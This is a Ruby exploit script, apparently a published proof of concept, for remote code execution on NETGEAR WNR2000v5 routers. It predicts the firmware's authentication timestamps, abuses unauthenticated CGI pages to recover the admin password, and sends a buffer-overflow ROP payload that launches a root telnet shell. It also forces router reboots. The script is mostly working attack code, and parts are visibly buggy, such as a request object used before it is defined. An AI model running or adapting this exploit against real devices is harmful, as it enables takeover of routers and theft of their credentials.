# # Source: https://raw.githubusercontent.com/pedrib/PoC/master/exploits/netgearPwn.rb # # Remote code execution in NETGEAR WNR2000v5 # - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security # Released on 20/12/2016 # # NOTE: this exploit is "alpha" quality, however the bof method should work fine both with or without reboot. # A more reliable Metasploit module will be released soon. # # # TODO: # - test default credentials first (with correct and incorrect password, see if auth can be used by default with incorrect password) # - finish telnetenable (get mac and send packet) # - finish timestamp regex (?) # - randomise payload require 'net/http' require 'uri' require 'time' #################### # ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c # and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c TYPE_3 = 3 BREAK_3 = 128 DEG_3 = 31 SEP_3 = 3 @randtbl = [ # we omit TYPE_3 from here, not needed -1726662223, 379960547, 1735697613, 1040273694, 1313901226, 1627687941, -179304937, -2073333483, 1780058412, -1989503057, -615974602, 344556628, 939512070, -1249116260, 1507946756, -812545463, 154635395, 1388815473, -1926676823, 525320961, -1009028674, 968117788, -123449607, 1284210865, 435012392, -2017506339, -911064859, -370259173, 1132637927, 1398500161, -205601318, ] @unsafe_state = { "fptr" => SEP_3, "rptr" => 0, "state" => 0, "rand_type" => TYPE_3, "rand_deg" => DEG_3, "rand_sep" => SEP_3, "end_ptr" => DEG_3 } # Emulate the behaviour of C's srand def srandom_r (seed) state = @randtbl if seed == 0 seed = 1 end state[0] = seed dst = 0 word = seed kc = DEG_3 for i in 1..(kc-1) hi = word / 127773 lo = word % 127773 word = 16807 * lo - 2836 * hi if (word < 0) word += 2147483647 end dst += 1 state[dst] = word end @unsafe_state['fptr'] = @unsafe_state['rand_sep'] @unsafe_state['rptr'] = 0 kc *= 10 kc -= 1 while (kc >= 0) random_r kc -= 1 end end # Emulate the behaviour of C's rand def random_r buf = @unsafe_state state = buf['state'] fptr = buf['fptr'] rptr = buf['rptr'] end_ptr = buf['end_ptr'] val = @randtbl[fptr] += @randtbl[rptr] result = (val >> 1) & 0x7fffffff fptr += 1 if (fptr >= end_ptr) fptr = state rptr += 1 else rptr += 1 if (rptr >= end_ptr) rptr = state end end buf['fptr'] = fptr buf['rptr'] = rptr result end ##################### ##################### # Ruby code ported from https://github.com/insanid/netgear-telenetenable # def telnetenable (mac, username, password) mac_pad = mac.gsub(':', '').upcase.ljust(0x10,"\x00") username_pad = username.ljust(0x10, "\x00") password_pad = password.ljust(0x21, "\x00") cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00") md5 = Digest::MD5.new md5.update(cleartext) payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*') secret_key = "AMBIT_TELNET_ENABLE+" + password cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt cipher.key_len = secret_key.length cipher.key = secret_key cipher.padding = 0 binary_data = (cipher.update(payload) << cipher.final) binary_data.unpack('N*').pack('V*') end ##################### # Do some crazyness to force Ruby to cast to a single-precision float and # back to an integer. # This emulates the behaviour of the soft-fp library and the float cast # which is done at the end of Netgear's timestamp generator. def ieee754_round (number) [number].pack('f').unpack('f*')[0].to_i end # This is the actual algorithm used in the get_timestamp function in # the Netgear firmware. def get_timestamp(time) srandom_r time t0 = random_r t1 = 0x17dc65df; hi = (t0 * t1) >> 32; t2 = t0 >> 31; t3 = hi >> 23; t3 = t3 - t2; t4 = t3 * 0x55d4a80; t0 = t0 - t4; t0 = t0 + 0x989680; ieee754_round(t0) end # Default credentials for the router USERNAME = "admin" PASSWORD = "password" def get_request(uri_str) uri = URI.parse(uri_str) http = Net::HTTP.new(uri.host, uri.port) #http.set_debug_output($stdout) request.basic_auth(USERNAME, PASSWORD) request = Net::HTTP::Get.new(uri.request_uri) http.request(request) end def post_request(uri_str, body) uri = URI.parse(uri_str) header = { 'Content-Type' => 'application/x-www-form-urlencoded' } http = Net::HTTP.new(uri.host, uri.port) #http.set_debug_output($stdout) request.basic_auth(USERNAME, PASSWORD) request = Net::HTTP::Post.new(uri.request_uri, header) request.body = body http.request(request) end def check response = get_request("http://#{@target}/") auth = response['WWW-Authenticate'] if auth != nil if auth =~ /WNR2000v5/ puts "[+] Router is vulnerable and exploitable (WNR2000v5)." return elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/ puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)." return end end puts "Router is not vulnerable." end def get_password response = get_request("http://#{@target}/BRS_netgear_success.html") if response.body =~ /var sn="([\w]*)";/ serial = $1 else puts "[-]Failed to obtain serial number, bailing out..." exit(1) end # 1: send serial number response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+") # 2: send answer to secret questions response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \ "submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+") # 3: PROFIT!!! response = get_request("http://#{@target}/passwordrecovered.cgi") if response.body =~ /Admin Password: (.*)<\/TD>/ password = $1 else puts "[-] Failed to obtain admin password, bailing out..." exit(1) end if response.body =~ /Admin Username: (.*)<\/TD>/ username = $1 else puts "[-] Failed to obtain admin username, bailing out..." exit(1) end puts "[+] Success! Got admin username #{username} and password #{password}" return [username, password] end def get_current_time response = get_request("http://#{@target}/") date = response['Date'] Time.parse(date).strftime('%s').to_i end def get_auth_timestamp(mode) if mode == "bof" uri_str = "lang_check.html" else uri_str = "PWD_password.htm" end response = get_request(uri_str) if response.code == 401 # try again, might fail the first time response = get_request(uri_str) if response.code == 200 if response.body =~ /timestamp=([0-9]{8})/ $1.to_i end end end end def got_shell puts "[+] Success, shell incoming!" exec("telnet #{@target.split(':')[0]}") end if ARGV.length < 2 puts "Usage: ./netgearPwn.rb [noreboot]" puts "\tcheck: see if the target is vulnerable" puts "\tbof: run buffer overflow exploit on the target" puts "\ttelnet: run telnet exploit on the target - DO NOT USE FOR NOW, DOESN'T WORK!" puts "\tnoreboot: optional parameter - don't force a reboot on the target" exit(1) end @target = ARGV[0] mode = ARGV[1] if ARGV.length == 3 && ARGV[2] == "noreboot" reboot = false else reboot = true end # Maximum time differential to try # Look 5000 seconds back for the timestamp with reboot # 500000 with no reboot if reboot TIME_OFFSET = 5000 else TIME_OFFSET = 500000 end # Increase this if you're sure the device is vulnerable and you're not getting a shell TIME_SURPLUS = 200 if mode == "check" check exit(0) end if mode == "bof" def uri_encode (str) "%" + str.scan(/.{2}|.+/).join("%") end def calc_address (libc_base, offset) addr = (libc_base + offset).to_s(16) uri_encode(addr) end system_offset = 0x547D0 gadget = 0x2462C libc_base = 0x2ab24000 payload = 'a' * 36 + # filler_1 calc_address(libc_base, system_offset) + # s0 '1111' + # s1 '2222' + # s2 '3333' + # s3 calc_address(libc_base, gadget) + # gadget 'b' * 0x40 + # filler_2 "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload end # 0: try to see if the default admin username and password are set timestamp = get_auth_timestamp(mode) # 1: reboot the router to get it to generate new timestamps if reboot and timestamp == nil response = post_request("http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm", "submit_flag=reboot&yes=Yes") if response.code == "200" puts "[+] Successfully rebooted the router. Now wait two minutes for the router to restart..." sleep 120 puts "[*] Connect to the WLAN or Ethernet now. You have one minute to comply." sleep 60 else puts "[-] Failed to reboot the router. Bailing out." exit(-1) end puts "[*] Proceeding..." end # 2: get the current date from the router and parse it, but only if we are not authenticated... if timestamp == nil end_time = get_current_time if end_time <= TIME_OFFSET start_time = 0 else start_time = end_time - TIME_OFFSET end end_time += TIME_SURPLUS if end_time < (TIME_SURPLUS * 7.5).to_i end_time = (TIME_SURPLUS * 7.5).to_i end puts "[+] Got time #{end_time} from router, starting exploitation attempt." puts "[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more)." end if mode == "bof" uri_str = "http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp=" body = "submit_flag=select_language&hidden_lang_avi=#{payload}" else uri_str = "http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp=" body = "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2" end # 3: work back from the current router time minus TIME_OFFSET while true for time in end_time.downto(start_time) begin if timestamp == nil response = post_request(uri_str + get_timestamp(time).to_s, body) else response = post_request(uri_str + timestamp.to_s, body) end if response.code == "200" # this only occurs in the telnet case credentials = get_password #telnetenable(mac, credentials[0], credentials[1]) #sleep 5 #got_shell puts "Done! Got admin username #{credentials[0]} and password #{credentials[1]}" puts "Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!" exit(0) end rescue EOFError if reboot sleep 0.2 else # with no reboot we give the router more time to breathe sleep 0.5 end begin s = TCPSocket.new(@target.split(':')[0], 23) s.close got_shell rescue Errno::ECONNREFUSED if timestamp != nil # this is the case where we can get an authenticated timestamp but we could not execute code # IT SHOULD NEVER HAPPEN # But scream and continue just in case, it means there is a bug puts "[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code." puts "[*] Let's try again..." timestamp = get_auth_timestamp end next end rescue Net::ReadTimeout # for bof case, we land here got_shell end end if timestamp == nil start_time = end_time - (TIME_SURPLUS * 5) end_time = end_time + (TIME_SURPLUS * 5) puts "[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}" end end # If we get here then the exploit failed puts "[-] Exploit finished. Failed to get a shell!" # Iranian Exploit DataBase = http://IeDb.Ir [2016-12-25]